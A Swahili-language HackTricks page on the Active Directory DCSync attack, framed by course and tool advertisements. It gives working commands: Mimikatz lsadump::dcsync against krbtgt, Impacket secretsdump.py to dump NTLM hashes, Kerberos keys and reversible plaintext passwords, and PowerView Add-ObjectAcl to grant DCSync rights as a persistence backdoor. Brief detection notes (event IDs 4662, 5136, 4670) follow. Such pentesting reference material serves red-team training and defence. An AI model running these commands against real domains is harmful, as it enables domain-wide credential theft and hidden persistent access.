DCSync

Tumia Trickest kujenga na kutumia workflows kwa urahisi zinazotumia zana za jamii ya juu zaidi duniani. Pata Ufikiaji Leo:

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

DCSync

Ruhusa ya DCSync inamaanisha kuwa na ruhusa hizi juu ya kikoa lenyewe: DS-Replication-Get-Changes, Replicating Directory Changes All na Replicating Directory Changes In Filtered Set.

Maelezo Muhimu kuhusu DCSync:

  • Shambulio la DCSync linaiga tabia ya Domain Controller na kuomba Domain Controllers zingine kurekebisha habari kwa kutumia Itifaki ya Mbali ya Huduma ya Uigaji wa Direktori (MS-DRSR). Kwa sababu MS-DRSR ni kazi halali na muhimu ya Active Directory, haiwezi kuzimwa au kulemazwa.

  • Kwa chaguo-msingi tu Domain Admins, Enterprise Admins, Administrators, na Domain Controllers vikundi vina ruhusa zinazohitajika.

  • Ikiwa nywila za akaunti yoyote zimehifadhiwa kwa ufuatano unaoweza kurejeshwa, chaguo lipo Mimikatz kurudisha nywila kwa maandishi wazi

Uchambuzi

Angalia ni nani mwenye ruhusa hizi kutumia powerview:

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}

Tumia Kisiasa

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Tumia Kisalama Kutoka Mbali

secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
[-history] #To dump password history, may be helpful for offline password cracking

-just-dc inazalisha faili 3:

  • moja na hashes za NTLM

  • moja na funguo za Kerberos

  • moja na nywila za wazi kutoka kwa NTDS kwa akaunti yoyote iliyo na ufungaji wa kurudishwa kuwezeshwa. Unaweza kupata watumiaji wenye ufungaji wa kurudishwa kwa kutumia

Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

Uthabiti

Ikiwa wewe ni msimamizi wa kikoa, unaweza kutoa ruhusa hii kwa mtumiaji yeyote kwa msaada wa powerview:

Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose

Kisha, unaweza kuangalia ikiwa mtumiaji amepewa kwa usahihi mamlaka 3 kwa kuzitafuta kwenye matokeo ya (unapaswa kuweza kuona majina ya mamlaka ndani ya uga wa "ObjectType"):

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}

Kupunguza Hatari

  • Usalama wa Tukio la Kitambulisho cha 4662 (Sera ya Ukaguzi kwa kitu lazima iwe imewezeshwa) - Uendeshaji ulifanywa kwenye kitu

  • Usalama wa Tukio la Kitambulisho cha 5136 (Sera ya Ukaguzi kwa kitu lazima iwe imewezeshwa) - Kitu cha huduma ya saraka kilibadilishwa

  • Usalama wa Tukio la Kitambulisho cha 4670 (Sera ya Ukaguzi kwa kitu lazima iwe imewezeshwa) - Ruhusa kwenye kitu zilibadilishwa

  • AD ACL Scanner - Unda na linganisha ripoti za ACL. https://github.com/canix1/ADACLScanner

Marejeo

Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Tumia Trickest kujenga na kiotomatiki mchakato unaotumia zana za jamii za juu zaidi duniani. Pata Ufikiaji Leo:

Last updated